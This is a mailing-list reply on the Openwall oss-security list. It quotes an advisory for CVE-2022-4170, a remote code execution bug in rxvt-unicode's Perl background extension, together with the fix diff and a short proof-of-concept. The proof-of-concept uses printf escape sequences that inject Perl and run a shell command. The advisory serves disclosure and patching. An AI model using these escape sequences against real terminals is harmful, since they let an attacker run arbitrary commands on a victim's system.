Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 7 Dec 2022 18:22:21 -0600
From: John Helmert III <>
Subject: Re: CVE-2022-4170: rxvt-unicode code execution via
 background OSC

On Mon, Dec 05, 2022 at 10:22:33PM +1100, David Leadbeater wrote:
> I've discovered rxvt-unicode 9.25 and 9.26 are vulnerable to remote
> code execution, in the Perl background extension, when an attacker can
> control the data written to the user's terminal and certain options
> are set.
> The "background" extension is automatically loaded if certain X
> resources are set such as 'transparent' (see the full list at the top
> of src/perl/background[1]). So it is possible to be using this
> extension without realising it.
> This is accidentally fixed on version 9.30, and I haven't confirmed
> 9.29, it appears to not be exploitable, but only due to another (not
> security) bug. The actual bug which makes this not vulnerable on 9.30
> is simply a wrong number in "on_osc_seq".
> For 9.25 and 9.26 the patch at[2] can be backported. The body of the fix is:
>  sub q0 {
> -   (my $str = shift) =~ s/\x00//g; # make sure there really aren't
> any embedded NULs
> -   "q\x00$str\x00"
> +   "qq\x00\Q$_[0]\E\x00"
>  }
> Isn't Perl quoting fun? Paranoid people may wish to remove the entire
> "on_osc_seq" subroutine to avoid passing any potentially untrusted
> input anywhere near eval (this feature is deprecated and the
> maintainer did mention they are considering what to do longer term).
> It doesn't make sense to withhold an exploit for this; the fix gives a
> pretty good idea where to look and this isn't vulnerable in the latest
> version.
> $ urxvt -transparent
> Inside that running terminal:
> # Make tint be "\\", which means the ending \x00 is quoted under our control
> $ printf '\e]705;\\\a'
> # Make the second q0 end the quoted q-string and then be valid perl
> under our control
> $ printf '\e]20;,rootalign root),`touch /tmp/cve-2022-4170` #\a'
> This has been assigned CVE-2022-4170.

Can this CVE be made public (ie, not "reserved" according to [1])?


> David
> [1]:
> [2]:

Download attachment "signature.asc" of type "application/pgp-signature" (229 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.